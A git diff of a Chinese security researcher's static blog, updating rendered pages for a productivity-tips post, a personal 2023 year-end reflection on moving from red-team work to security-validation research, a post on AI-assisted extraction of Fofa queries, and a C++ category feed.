\ No newline at end of file diff --git a/archivers/2023-10-31/good-habits/index.html b/archivers/2023-10-31/good-habits/index.html index d52790f..77ca33f 100644 --- a/archivers/2023-10-31/good-habits/index.html +++ b/archivers/2023-10-31/good-habits/index.html @@ -106,4 +106,4 @@ $ launchctl enable gui/501/clash $ launchctl stop clash $ launchctl start clash -

保持使用浏览器收藏夹的好习惯

大概在去年Chrome翻译服务被ban以后,开始使用Edge,在国内同步相对比较方便,因此做了一下迁移,目前使用起来感觉良好。

3

使用命令切换Java环境版本

Arch Linux可以通过archlinux-java命令切换Java版本:

4

Java - ArchWiki

5

使用DoH/DoT保护DNS隐私

DoH(DNS over HTTPS)是一种安全的DNS协议扩展,它通过使用HTTPS协议对DNS查询进行加密来保护DNS通信的隐私和安全性。

传统的DNS协议(DNS over UDP/TCP)在传输过程中是明文的,这意味着网络上的任何人都可以查看和截取DNS查询和响应的内容。这可能会导致个人隐私泄露、信息篡改和劫持等问题。

DoH通过将DNS流量封装在加密的HTTPS连接中来解决这些问题。它使用SSL/TLS协议对DNS查询和响应进行加密,确保数据的机密性和完整性。这使得DNS流量看起来和其他HTTPS流量一样,很难被识别和干扰。

由于我的Clash是开机自动启动的,本机的所有DNS流量都会转发到Clash,因此我只需要配置Clash的NameServer即可:

6

在浏览器(Edge)层面可以直接设置:

7

手机层面也可以通过导入描述文件:

https://github.com/paulmillr/encrypted-dns

8

常用Todo工具

有些时候想做一件事情(临时决定),但是当下没有时间,不能让想法只停留在想法上,我会使用Todo类的工具进行记录,iPhone/MacOS上都有一个名字叫“提醒”的软件,能够实现设备同步,但最早我是使用Microsoft To Do.

9

使用Z-library收集书籍

10

在学习比较体系的知识的时候,我往往会先搜索相关书籍,然后将书籍的电子版保存下来。Z-library是全球最大的线上图书馆了,陆陆续续我的书单也丰富了起来:

11

\ No newline at end of file +

保持使用浏览器收藏夹的好习惯

大概在去年Chrome翻译服务被ban以后,开始使用Edge,在国内同步相对比较方便,因此做了一下迁移,目前使用起来感觉良好。

3

使用命令切换Java环境版本

Arch Linux可以通过archlinux-java命令切换Java版本:

4

Java - ArchWiki

5

使用DoH/DoT保护DNS隐私

DoH(DNS over HTTPS)是一种安全的DNS协议扩展,它通过使用HTTPS协议对DNS查询进行加密来保护DNS通信的隐私和安全性。

传统的DNS协议(DNS over UDP/TCP)在传输过程中是明文的,这意味着网络上的任何人都可以查看和截取DNS查询和响应的内容。这可能会导致个人隐私泄露、信息篡改和劫持等问题。

DoH通过将DNS流量封装在加密的HTTPS连接中来解决这些问题。它使用SSL/TLS协议对DNS查询和响应进行加密,确保数据的机密性和完整性。这使得DNS流量看起来和其他HTTPS流量一样,很难被识别和干扰。

由于我的Clash是开机自动启动的,本机的所有DNS流量都会转发到Clash,因此我只需要配置Clash的NameServer即可:

6

在浏览器(Edge)层面可以直接设置:

7

手机层面也可以通过导入描述文件:

https://github.com/paulmillr/encrypted-dns

8

常用Todo工具

有些时候想做一件事情(临时决定),但是当下没有时间,不能让想法只停留在想法上,我会使用Todo类的工具进行记录,iPhone/MacOS上都有一个名字叫“提醒”的软件,能够实现设备同步,但最早我是使用Microsoft To Do.

9

使用Z-library收集书籍

10

在学习比较体系的知识的时候,我往往会先搜索相关书籍,然后将书籍的电子版保存下来。Z-library是全球最大的线上图书馆了,陆陆续续我的书单也丰富了起来:

11

\ No newline at end of file diff --git a/archivers/2023-12-29/year-end-summary/index.html b/archivers/2023-12-29/year-end-summary/index.html index 8083f90..f73c92e 100644 --- a/archivers/2023-12-29/year-end-summary/index.html +++ b/archivers/2023-12-29/year-end-summary/index.html @@ -1,3 +1,3 @@ 2023年终总结 - 你好2024! - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

29 -Dec 2023

2023年终总结 - 你好2024!

前言

2023年转眼过去,好像2022年-2023年很少写总结了,心血来潮在元旦来临之前花了一些时间给博客装修了一下,为了迎接2024年的到来,认真写一篇年度总结,算是给这一年一个交代,我会总结一下这近两年以来自己做的一些事情和成长。

在上周末看到阮老师的周刊的标题:科技爱好者周刊(第 283 期):[年终感想] 没有目的地,向前走,主要内容为BaseCamp 公司创始人 Jason Fried 的一篇短文提到“我做事,我尝试,我建造,我想要取得进步,我想让我做的东西使得自己、使得公司、使得家庭、使得社会变得更好。但我从未设定过目标。这不是我做事的方式。”看完这篇短文,思考了一下好像我也没有什么确切具体的目标,虽说确切具体的目标对于个人来说是会起到激励的作用,但这一年我对自己的要求没有以往那么苛刻了,在这种状态下收获了很多从未有过的体验。

2023这一年的工作感想

2022年做了许多重大的决定,其中对生活节奏影响较大的就是换了一份工作,由红队研究员的身份转向一个对安全运营视角进行有效性验证的安全研究员,大概是2022年9月底从老东家离职,写了一篇《我的三年红队生涯总结》宣告自己的红队工作告一段落,开始拥抱新的视角,拓展更广的视野,对安全工作的理解也慢慢发生改变。起初刚加入创业公司,节奏还是能够快速适应的,首先就是工作的交付形式开始转变,从项目的阶段性成果转变成产品相关的测试用例、新技术的调研与应用、与头部企业的安全负责人交流实践经验等等,做产品和做业务有很大的区别,产品功需要更加精细化,对每个功能的要求都应当非常高,才会产生价值,是一个需要内心始终与用户对话的工作形式,所有的产品最初都需要打磨,都需要反馈才能变得更好,这个过程对比此前进行的项目交付,显得节奏感慢了很多,而项目是一个短周期、阶段性的事务。

再者就是参与到产品的建设中经常可以获得一些正反馈,这是我的动力源,应用的每个技术方案都会通过更新流转到每个用户面前,类比于红队获取了一个目标权限等同。在前几个月的时候,和前辈聊天提到“对手”这个词,前辈说我现在没有对手了,没有对手就会影响到一个人的动力,以往的环境是天天有竞争的,红蓝队伍的对抗,一场场攻防演练,一个个排名,外部的对手数不胜数,所以每次竞争后都会变得更有力量,而现在需要从自身寻找对手,这个对手就是自己,从头梳理自己对企业安全建设的理解,去学习别人的最佳实践,思考事物为何如此发展,善用平台的资源和力量。

入职后先后接手了终端安全验证、勒索软件验证、AD域安全验证、RASP验证,重新设计了很多次不同验证方向的闭环方案,也接触了何谓“有效性验证”、何谓“安全能力验证”,如果用一句话概括我做的事情就是:“企业先有安全建设,后有安全运营,安全建设积累安全能力,安全运营积累最佳实践,验证安全能力提高安全建设水平,验证安全运营有效性提升实践能力。“

其实我的大部分时间不只是在做攻击模拟,而是在建立反向验证的思维逻辑,以及应用/研究一套可行性较高、成本较低的验证方案。举例终端安全来说,验证的维度其实非常广,覆盖了ATT&CK矩阵的大部分技术项,而从终端安全防御视角来看,大部分攻击都可以通过操作系统遥测事件输入威胁识别模型识别哪些命令、行为是攻击从而分析出来终端是否受到了攻击。攻击模拟就是在不影响系统安全性的情况下完成一次或多次的攻击回放,回放技术做的越好、越真实、越能体现归因(这个攻击被检测了吗?被谁检测的?响应时间多长?若不能检测,该如何检测),价值就越大,这里摸爬滚打一路过来遇到很多难点就不展开陈述了。

总的来说,建立反向验证思维,可以让安全工作做的更可信,更容易量化分析。在我设计好一套验证方案后,输出的验证结果反应出了安全能力的很多问题,这些是我以往在红队视角无法想象的,可能是攻击特征很明显的命令,某安全产品竟然没有告警?还有的时候想去验证一些自己的Bypass思路,发现有的安全产品也无法检测,终于真正站在一个中立视角、科学的验证安全能力。

在今年工作的最后的一天,同事发来了一个“MBI-GS职业倦怠量表“,经过测试我得到了23分的结果,工作状态良好。

什么是工作倦怠

“职业倦怠症”又称“职业枯竭症”,它是一种由工作引发的心理枯竭现象,是上班族在工作的重压之下所体验到的身心俱疲、能量被耗尽的感觉,这和肉体的疲倦劳累是不一样的,而是缘自心理的疲乏。

工作倦怠方面最权威、最常用的量表——MBI-GS(Maslach Burnout Inventory-General Survey)。2002年,李超平获得该问卷开发者Michael Leiter教授的授权,在国内修订MBI-GS。结果表明:该量表在国内具有较好的信度和效度。该量表包括三部分:情绪衰竭(Emotional Exhaustion)、玩世不恭(Cynicism)和成就感低落(Reduced Personal Accomplishment)。情绪衰竭分量表包括5道题,玩世不恭分量表包括5道题,成就感低落分量表包括6道题,整个问卷共16道题。该量表采用利克特7分等级量表,0代表“从不”,6代表“非常频繁”。

在做这个问卷的过程中,有很多或者几乎都是,需要从自身的工作感受出发进行作答的问题,以前和朋友、领导多少都发表过对于一份工作的观点,在不同时间的节点,我都会思考做事的意义,在抓住能让自己变得更好的前提下,总能得到正向的反馈,这种感觉可以持续推动我成长下去。

2023这一年的生活感想

今年经历太多无法言说的事情了,我始终抱着过去发生的、经历的,总能成为将来自己的一部分,让我带着它继续的走向明天。这一年认识了新朋友,接触了很多不一样的观点,觉得自己人生的岁岁年年真的才刚开始,我开始阅读更多类别的书籍、尝试不一样的食物、锻炼自己的身体、掌控自己的时间,也学会适当的放松自己、爱自己,以一个旁观者的身份回顾自己,用今天的经验去总结过去某个时刻的自己所做出的选择,然后再回到现实中,感受都会无比通透,让所经历的苦难、快乐能真正成为自己的一部分。

我经常会担心忘记自己某天某时某刻某地所见所闻所想,能够引起我情绪波动的事物我都会放开自己的去感受它,这样对比起曾经的自己变化还是挺大的。

下面回顾我这一年的每个月,我都写了一句送给自己的话。

一月份,在新疆过了农历新年,排除疫情的两年以外,与往年一样,吃了许多新疆美食,家人也想让我多吃一点,总担心我一个人在外面吃得不好,穿的不好。在今年过生日之前,我对于至亲总会离去这件事感觉很遥远,虽然没有发生,但人总会经历,记得在网上看到过,有些男人可能一夜就会长大。

“其实我很好,只是回到家里,我好像无法褪去孩子的身份与模样,超幸福的。”

二月份,去见了北京的老朋友,郭师傅还是一样我没变,他也没变。突然发现我有一个特质,就是朋友一开始认识我时是什么样,不管多久,见到我时我还是始终一样。简单跟郭师傅学习了单反的使用,原来摄影这件事也很酷,我好像还没有很多其他的爱好。

“羡慕有许多爱好的人,在不喜欢工作的时候可以通过其他爱好补充能量。”

三月份,和同事们一起去了一次环球影城,果然诚不欺吾,唯一不足的就是人真的太多了,从未能想象到原来游乐园可以这么好玩,从早到晚的一天几乎都在排队,累到脚都不想着地,还是钱包够硬才能痛快。

“今年在知乎上刷到一个问题,大概意思是游乐场为什么不能线上取号,排队真的能快乐吗?我比较认同一个答案:排队是游乐园的一环。【热闹】【期待感】【获得感】是游乐场重要的一部分。”

四月份,已经回到上海工作了,这个我陌生又熟悉的城市,相比于北京好像这里我更容易找到自己的生活节奏,能走在街头感受人海车流,脑海中还能做一些闲暇的思考,可快可慢,允许我自己进行调节。翻开相册和博客,2018年的那个四月,也如近日一样逐渐成为人生重要的节点。

“我们都要好好生活,好好找到自己的节奏,不盲目活在他人的节奏之下。”

五月份,和上海的朋友聚了聚,他们开始关注身体健康,普遍走向三高,我貌似并没有这种焦虑,体检的时候医生竟然说我是最好的,讲的我都有点不自信了。

“我的朋友们啊,虽然不经常联系,如果可以见面,我们都保持曾经最好的状态就太好了,祝愿所有的人都身体健康。”

六月份,在飞机上拿了一份报纸,其中有一篇文章《“断亲”现象背后的社会根源》提到了几个根源:

  1. 人口少子化可能催生了“断亲族”,亲戚数量少、交往不够
  2. 家庭结构和家庭关系的变迁,城市化和人口流动将家庭结构小型化
  3. 对于“孝道”的理解也有了时代新的内涵,出现了代际之间的差异
  4. 当下年轻人面临着诸多的现代社会压力,比如当下流行的“社交恐惧症”等网络用语也许能帮助我们窥见一斑

我觉得我也属于这大时代中的一个小小缩影,在外打工拼搏的年轻人与家族亲属关系的维系慢慢变得减少,和父母的联系做到很紧密就已经很不错了,况且我还是那个话少的那个。今年在网上认识也认识了一些在家工作的朋友,他们反馈给我的感觉都是生活节奏较慢,没有房租焦虑,归属感强,朋友家人可以经常见面,工作场所和家庭相距并不远,其实还是有点羡慕的,但城市与城镇的资源配比相差较大,这是一个围城。

“如果我们可以经常像朋友一样沟通,我有好多话想说。”

七月份,开始健身,调整自己的体态。那段时间我有好好吃饭,好好运动,好好睡觉。因为每天健身,早上会起的很早睡得很早,就是因为起得早,有点产生时间焦虑了,以往都是经常熬夜,在夜晚阅读、学习,效率很高。在早晨做自己的事情还没有养成习惯,做的最多的事情就是看日出,呼吸清晨的空气,阅读微信文章。除了健身,还帮朋友每天晚上照顾猫咪,我总觉得猫咪如果每天没有人玩会变得抑郁吧,这件事让我锻炼了熟练的铲屎技能。

“健身好像是一个永远不会吃亏的决定之一,对抗懒惰,让处于人生黄金时代的身体燃烧起来。”

八月份,上海还是一如既往的酷暑,每天晚上的云彩都有不同颜色,拍了很多晚霞的照片。中旬的时候去烫了一次头发,开始理解原来改变自己的外在,也能获得不一样的心情。同时,也开始在网上给大洋彼岸的陌生人写信,我只写了三四封,其中三封有回信,但没有坚持下去,倒是锻炼了自己的文笔能力。通过写信,了解了集邮、名信片的功能,这种东西真的好适合做“意义”的载体。

“我把自己丢到广阔世界里,听一听不同的回响,原来我是一个不起眼的坚硬原石,再多的风雨和时间都无法褪去我存在过的痕迹。”

九月份,下午开始频繁的喝起了咖啡,瑞幸的咖啡打卡了不少,喝到最后找到了适合自己的口味。经常一个人出入电影院享受周末闲暇的时光,喜欢看晚场,坐前排,散场的时候也第一个走。中旬的时候公司周年纪念,去了山东青岛,满足了自己对海洋的向往,海浪拍打在自己的腿上,扑鼻而来的海洋气息,那一刻站在沙滩上的我一定是远离这个世界上喧嚣最远的一次。

“旅行的路上让我捡拾自己的贝壳,我把它们挂满身上,再带回现实人间。”

十月份,最值得纪念的就是回到新疆,和家人去看了天池,和十年朋友一起骑马,我坐在马背上享受草原上该有的狂野,羊群静静的扎堆低头吃草,鸟群在湛蓝天空掠过,十年之前趴在课桌上的我们可曾想过我们会像今天自由。

“不知不觉地,我就长大了,该狂野就狂野,该文静就文静。”

十一月份,周末去了华师大参加第十七届国际文化节,见到很多外国的留学生,展台上摆满了他们自己国家的美食和小礼物,我和朋友走了一圈,感觉站在了文化汇聚的焦点,为了借一张纸去找街头的学生打招呼、和外国实习生交谈,那一刻我毫不社恐。晚上有幸观看了每个国家自己编排的节目,有舞蹈、唱歌、服装品鉴等等。其中有一个关于汉服的节目,介绍了汉服的起源和演变,穿着汉服的人都是外国留学生,他们喜爱我们的文化,朗读我们的诗歌,在这里我感受到了民族该有的文化自信。

“没有人可以评价你,做一个自信的人,我们的文化也是一样。”

十二月份,天气逐渐变冷,给自己买了几件衣服,没想到还挺适合自己。每逢周五的晚上偶尔给自己做一桌便餐,摆上几瓶啤酒,享受着自己的生活。同时,朋友送给我的那颗多肉在桌上正茁壮成长,是我喜欢的颜色,好像阳光强烈它就会慢慢长出渐变的桃色。

“如果要送朋友礼物,不知道送什么的话,送一颗绿植是不错的选择,愿烦心事丢掉,腾地方装花。”

这一年的生活节奏就像《Whisper Of Hope》那样,这首歌是我在十二月收到最好的日推了,除了这个以外,我还经常听一听摇滚,最爱《美好的事可不可以发生在我身上》,也是朋友给我安利的。

最后

2024年,这里我就不立什么Flag了,就如文章开头所讲。最后我写下祝福,希望自己可以有更多的人生体验,多和朋友接触,多向身边优秀的人看齐,希望朋友们也都越来越好,人生如书,都可以撰写出自己无悔的青春岁月。

\ No newline at end of file +Dec 2023

2023年终总结 - 你好2024!

前言

2023年转眼过去,好像2022年-2023年很少写总结了,心血来潮在元旦来临之前花了一些时间给博客装修了一下,为了迎接2024年的到来,认真写一篇年度总结,算是给这一年一个交代,我会总结一下这近两年以来自己做的一些事情和成长。

在上周末看到阮老师的周刊的标题:科技爱好者周刊(第 283 期):[年终感想] 没有目的地,向前走,主要内容为BaseCamp 公司创始人 Jason Fried 的一篇短文提到“我做事,我尝试,我建造,我想要取得进步,我想让我做的东西使得自己、使得公司、使得家庭、使得社会变得更好。但我从未设定过目标。这不是我做事的方式。”看完这篇短文,思考了一下好像我也没有什么确切具体的目标,虽说确切具体的目标对于个人来说是会起到激励的作用,但这一年我对自己的要求没有以往那么苛刻了,在这种状态下收获了很多从未有过的体验。

2023这一年的工作感想

2022年做了许多重大的决定,其中对生活节奏影响较大的就是换了一份工作,由红队研究员的身份转向一个对安全运营视角进行有效性验证的安全研究员,大概是2022年9月底从老东家离职,写了一篇《我的三年红队生涯总结》宣告自己的红队工作告一段落,开始拥抱新的视角,拓展更广的视野,对安全工作的理解也慢慢发生改变。起初刚加入创业公司,节奏还是能够快速适应的,首先就是工作的交付形式开始转变,从项目的阶段性成果转变成产品相关的测试用例、新技术的调研与应用、与头部企业的安全负责人交流实践经验等等,做产品和做业务有很大的区别,产品功需要更加精细化,对每个功能的要求都应当非常高,才会产生价值,是一个需要内心始终与用户对话的工作形式,所有的产品最初都需要打磨,都需要反馈才能变得更好,这个过程对比此前进行的项目交付,显得节奏感慢了很多,而项目是一个短周期、阶段性的事务。

再者就是参与到产品的建设中经常可以获得一些正反馈,这是我的动力源,应用的每个技术方案都会通过更新流转到每个用户面前,类比于红队获取了一个目标权限等同。在前几个月的时候,和前辈聊天提到“对手”这个词,前辈说我现在没有对手了,没有对手就会影响到一个人的动力,以往的环境是天天有竞争的,红蓝队伍的对抗,一场场攻防演练,一个个排名,外部的对手数不胜数,所以每次竞争后都会变得更有力量,而现在需要从自身寻找对手,这个对手就是自己,从头梳理自己对企业安全建设的理解,去学习别人的最佳实践,思考事物为何如此发展,善用平台的资源和力量。

入职后先后接手了终端安全验证、勒索软件验证、AD域安全验证、RASP验证,重新设计了很多次不同验证方向的闭环方案,也接触了何谓“有效性验证”、何谓“安全能力验证”,如果用一句话概括我做的事情就是:“企业先有安全建设,后有安全运营,安全建设积累安全能力,安全运营积累最佳实践,验证安全能力提高安全建设水平,验证安全运营有效性提升实践能力。“

其实我的大部分时间不只是在做攻击模拟,而是在建立反向验证的思维逻辑,以及应用/研究一套可行性较高、成本较低的验证方案。举例终端安全来说,验证的维度其实非常广,覆盖了ATT&CK矩阵的大部分技术项,而从终端安全防御视角来看,大部分攻击都可以通过操作系统遥测事件输入威胁识别模型识别哪些命令、行为是攻击从而分析出来终端是否受到了攻击。攻击模拟就是在不影响系统安全性的情况下完成一次或多次的攻击回放,回放技术做的越好、越真实、越能体现归因(这个攻击被检测了吗?被谁检测的?响应时间多长?若不能检测,该如何检测),价值就越大,这里摸爬滚打一路过来遇到很多难点就不展开陈述了。

总的来说,建立反向验证思维,可以让安全工作做的更可信,更容易量化分析。在我设计好一套验证方案后,输出的验证结果反应出了安全能力的很多问题,这些是我以往在红队视角无法想象的,可能是攻击特征很明显的命令,某安全产品竟然没有告警?还有的时候想去验证一些自己的Bypass思路,发现有的安全产品也无法检测,终于真正站在一个中立视角、科学的验证安全能力。

在今年工作的最后的一天,同事发来了一个“MBI-GS职业倦怠量表“,经过测试我得到了23分的结果,工作状态良好。

什么是工作倦怠

“职业倦怠症”又称“职业枯竭症”,它是一种由工作引发的心理枯竭现象,是上班族在工作的重压之下所体验到的身心俱疲、能量被耗尽的感觉,这和肉体的疲倦劳累是不一样的,而是缘自心理的疲乏。

工作倦怠方面最权威、最常用的量表——MBI-GS(Maslach Burnout Inventory-General Survey)。2002年,李超平获得该问卷开发者Michael Leiter教授的授权,在国内修订MBI-GS。结果表明:该量表在国内具有较好的信度和效度。该量表包括三部分:情绪衰竭(Emotional Exhaustion)、玩世不恭(Cynicism)和成就感低落(Reduced Personal Accomplishment)。情绪衰竭分量表包括5道题,玩世不恭分量表包括5道题,成就感低落分量表包括6道题,整个问卷共16道题。该量表采用利克特7分等级量表,0代表“从不”,6代表“非常频繁”。

在做这个问卷的过程中,有很多或者几乎都是,需要从自身的工作感受出发进行作答的问题,以前和朋友、领导多少都发表过对于一份工作的观点,在不同时间的节点,我都会思考做事的意义,在抓住能让自己变得更好的前提下,总能得到正向的反馈,这种感觉可以持续推动我成长下去。

2023这一年的生活感想

今年经历太多无法言说的事情了,我始终抱着过去发生的、经历的,总能成为将来自己的一部分,让我带着它继续的走向明天。这一年认识了新朋友,接触了很多不一样的观点,觉得自己人生的岁岁年年真的才刚开始,我开始阅读更多类别的书籍、尝试不一样的食物、锻炼自己的身体、掌控自己的时间,也学会适当的放松自己、爱自己,以一个旁观者的身份回顾自己,用今天的经验去总结过去某个时刻的自己所做出的选择,然后再回到现实中,感受都会无比通透,让所经历的苦难、快乐能真正成为自己的一部分。

我经常会担心忘记自己某天某时某刻某地所见所闻所想,能够引起我情绪波动的事物我都会放开自己的去感受它,这样对比起曾经的自己变化还是挺大的。

下面回顾我这一年的每个月,我都写了一句送给自己的话。

一月份,在新疆过了农历新年,排除疫情的两年以外,与往年一样,吃了许多新疆美食,家人也想让我多吃一点,总担心我一个人在外面吃得不好,穿的不好。在今年过生日之前,我对于至亲总会离去这件事感觉很遥远,虽然没有发生,但人总会经历,记得在网上看到过,有些男人可能一夜就会长大。

“其实我很好,只是回到家里,我好像无法褪去孩子的身份与模样,超幸福的。”

二月份,去见了北京的老朋友,郭师傅还是一样我没变,他也没变。突然发现我有一个特质,就是朋友一开始认识我时是什么样,不管多久,见到我时我还是始终一样。简单跟郭师傅学习了单反的使用,原来摄影这件事也很酷,我好像还没有很多其他的爱好。

“羡慕有许多爱好的人,在不喜欢工作的时候可以通过其他爱好补充能量。”

三月份,和同事们一起去了一次环球影城,果然诚不欺吾,唯一不足的就是人真的太多了,从未能想象到原来游乐园可以这么好玩,从早到晚的一天几乎都在排队,累到脚都不想着地,还是钱包够硬才能痛快。

“今年在知乎上刷到一个问题,大概意思是游乐场为什么不能线上取号,排队真的能快乐吗?我比较认同一个答案:排队是游乐园的一环。【热闹】【期待感】【获得感】是游乐场重要的一部分。”

四月份,已经回到上海工作了,这个我陌生又熟悉的城市,相比于北京好像这里我更容易找到自己的生活节奏,能走在街头感受人海车流,脑海中还能做一些闲暇的思考,可快可慢,允许我自己进行调节。翻开相册和博客,2018年的那个四月,也如近日一样逐渐成为人生重要的节点。

“我们都要好好生活,好好找到自己的节奏,不盲目活在他人的节奏之下。”

五月份,和上海的朋友聚了聚,他们开始关注身体健康,普遍走向三高,我貌似并没有这种焦虑,体检的时候医生竟然说我是最好的,讲的我都有点不自信了。

“我的朋友们啊,虽然不经常联系,如果可以见面,我们都保持曾经最好的状态就太好了,祝愿所有的人都身体健康。”

六月份,在飞机上拿了一份报纸,其中有一篇文章《“断亲”现象背后的社会根源》提到了几个根源:

  1. 人口少子化可能催生了“断亲族”,亲戚数量少、交往不够
  2. 家庭结构和家庭关系的变迁,城市化和人口流动将家庭结构小型化
  3. 对于“孝道”的理解也有了时代新的内涵,出现了代际之间的差异
  4. 当下年轻人面临着诸多的现代社会压力,比如当下流行的“社交恐惧症”等网络用语也许能帮助我们窥见一斑

我觉得我也属于这大时代中的一个小小缩影,在外打工拼搏的年轻人与家族亲属关系的维系慢慢变得减少,和父母的联系做到很紧密就已经很不错了,况且我还是那个话少的那个。今年在网上认识也认识了一些在家工作的朋友,他们反馈给我的感觉都是生活节奏较慢,没有房租焦虑,归属感强,朋友家人可以经常见面,工作场所和家庭相距并不远,其实还是有点羡慕的,但城市与城镇的资源配比相差较大,这是一个围城。

“如果我们可以经常像朋友一样沟通,我有好多话想说。”

七月份,开始健身,调整自己的体态。那段时间我有好好吃饭,好好运动,好好睡觉。因为每天健身,早上会起的很早睡得很早,就是因为起得早,有点产生时间焦虑了,以往都是经常熬夜,在夜晚阅读、学习,效率很高。在早晨做自己的事情还没有养成习惯,做的最多的事情就是看日出,呼吸清晨的空气,阅读微信文章。除了健身,还帮朋友每天晚上照顾猫咪,我总觉得猫咪如果每天没有人玩会变得抑郁吧,这件事让我锻炼了熟练的铲屎技能。

“健身好像是一个永远不会吃亏的决定之一,对抗懒惰,让处于人生黄金时代的身体燃烧起来。”

八月份,上海还是一如既往的酷暑,每天晚上的云彩都有不同颜色,拍了很多晚霞的照片。中旬的时候去烫了一次头发,开始理解原来改变自己的外在,也能获得不一样的心情。同时,也开始在网上给大洋彼岸的陌生人写信,我只写了三四封,其中三封有回信,但没有坚持下去,倒是锻炼了自己的文笔能力。通过写信,了解了集邮、名信片的功能,这种东西真的好适合做“意义”的载体。

“我把自己丢到广阔世界里,听一听不同的回响,原来我是一个不起眼的坚硬原石,再多的风雨和时间都无法褪去我存在过的痕迹。”

九月份,下午开始频繁的喝起了咖啡,瑞幸的咖啡打卡了不少,喝到最后找到了适合自己的口味。经常一个人出入电影院享受周末闲暇的时光,喜欢看晚场,坐前排,散场的时候也第一个走。中旬的时候公司周年纪念,去了山东青岛,满足了自己对海洋的向往,海浪拍打在自己的腿上,扑鼻而来的海洋气息,那一刻站在沙滩上的我一定是远离这个世界上喧嚣最远的一次。

“旅行的路上让我捡拾自己的贝壳,我把它们挂满身上,再带回现实人间。”

十月份,最值得纪念的就是回到新疆,和家人去看了天池,和十年朋友一起骑马,我坐在马背上享受草原上该有的狂野,羊群静静的扎堆低头吃草,鸟群在湛蓝天空掠过,十年之前趴在课桌上的我们可曾想过我们会像今天自由。

“不知不觉地,我就长大了,该狂野就狂野,该文静就文静。”

十一月份,周末去了华师大参加第十七届国际文化节,见到很多外国的留学生,展台上摆满了他们自己国家的美食和小礼物,我和朋友走了一圈,感觉站在了文化汇聚的焦点,为了借一张纸去找街头的学生打招呼、和外国实习生交谈,那一刻我毫不社恐。晚上有幸观看了每个国家自己编排的节目,有舞蹈、唱歌、服装品鉴等等。其中有一个关于汉服的节目,介绍了汉服的起源和演变,穿着汉服的人都是外国留学生,他们喜爱我们的文化,朗读我们的诗歌,在这里我感受到了民族该有的文化自信。

“没有人可以评价你,做一个自信的人,我们的文化也是一样。”

十二月份,天气逐渐变冷,给自己买了几件衣服,没想到还挺适合自己。每逢周五的晚上偶尔给自己做一桌便餐,摆上几瓶啤酒,享受着自己的生活。同时,朋友送给我的那颗多肉在桌上正茁壮成长,是我喜欢的颜色,好像阳光强烈它就会慢慢长出渐变的桃色。

“如果要送朋友礼物,不知道送什么的话,送一颗绿植是不错的选择,愿烦心事丢掉,腾地方装花。”

这一年的生活节奏就像《Whisper Of Hope》那样,这首歌是我在十二月收到最好的日推了,除了这个以外,我还经常听一听摇滚,最爱《美好的事可不可以发生在我身上》,也是朋友给我安利的。

最后

2024年,这里我就不立什么Flag了,就如文章开头所讲。最后我写下祝福,希望自己可以有更多的人生体验,多和朋友接触,多向身边优秀的人看齐,希望朋友们也都越来越好,人生如书,都可以撰写出自己无悔的青春岁月。

\ No newline at end of file diff --git a/archivers/2024-09-08/extract-vuln-search-queries/index.html b/archivers/2024-09-08/extract-vuln-search-queries/index.html index 24c1dbb..7f86d2a 100644 --- a/archivers/2024-09-08/extract-vuln-search-queries/index.html +++ b/archivers/2024-09-08/extract-vuln-search-queries/index.html @@ -160,4 +160,4 @@ except: continue fp.close() -

由于我不是很擅长编写Prompt得到的结果不是非常理想,有时候AI提取生成的结果还是会出现意外内容:

0

不过整体结果较好,为了提升质量,一方面需要优化配置文件中的Prompt,另外一方面倒是可以调用更强大模型。

提取的语句在这里:39ed264a2db15ec58fd13432d58c41e6

1

总结

通过使用Qpipe我处理了一个点赞量较高的仓库,一共筛选出来300多个Fofa查询语句,而且都是结构化的,当然Qpipe并不只是为了做这么简单的事情,它还支持定时任务启动处理,我准备把它用在工作中的运营事务上,起码可以过滤一些信息。

最后,Qpipe有点像langchain的低配低配版,而stream充当了一个个带有特殊能力的Agent,赋予了AI处理任务的能力,未来或许可以将langchain中内置的一些prompt拿来作为参考,写出更强大的配置文件。

\ No newline at end of file +

由于我不是很擅长编写Prompt得到的结果不是非常理想,有时候AI提取生成的结果还是会出现意外内容:

0

不过整体结果较好,为了提升质量,一方面需要优化配置文件中的Prompt,另外一方面倒是可以调用更强大模型。

提取的语句在这里:39ed264a2db15ec58fd13432d58c41e6

1

总结

通过使用Qpipe我处理了一个点赞量较高的仓库,一共筛选出来300多个Fofa查询语句,而且都是结构化的,当然Qpipe并不只是为了做这么简单的事情,它还支持定时任务启动处理,我准备把它用在工作中的运营事务上,起码可以过滤一些信息。

最后,Qpipe有点像langchain的低配低配版,而stream充当了一个个带有特殊能力的Agent,赋予了AI处理任务的能力,未来或许可以将langchain中内置的一些prompt拿来作为参考,写出更强大的配置文件。

\ No newline at end of file diff --git a/categories/c++/c/index.xml b/categories/c++/c/index.xml index b7113fb..1b59014 100644 --- a/categories/c++/c/index.xml +++ b/categories/c++/c/index.xml @@ -105,7 +105,105 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">90 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">91 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">92 -</span></code></prWindows 文件映射https://payloads.online/archivers/2018-12-20/windows-FileMapping/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/windows-FileMapping/<h2 id="0x00-文件映射的原理">0x00 文件映射的原理</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 堆管理 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">#include</span> <span style="color:#75715e">&#34;stdafx.h&#34;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> 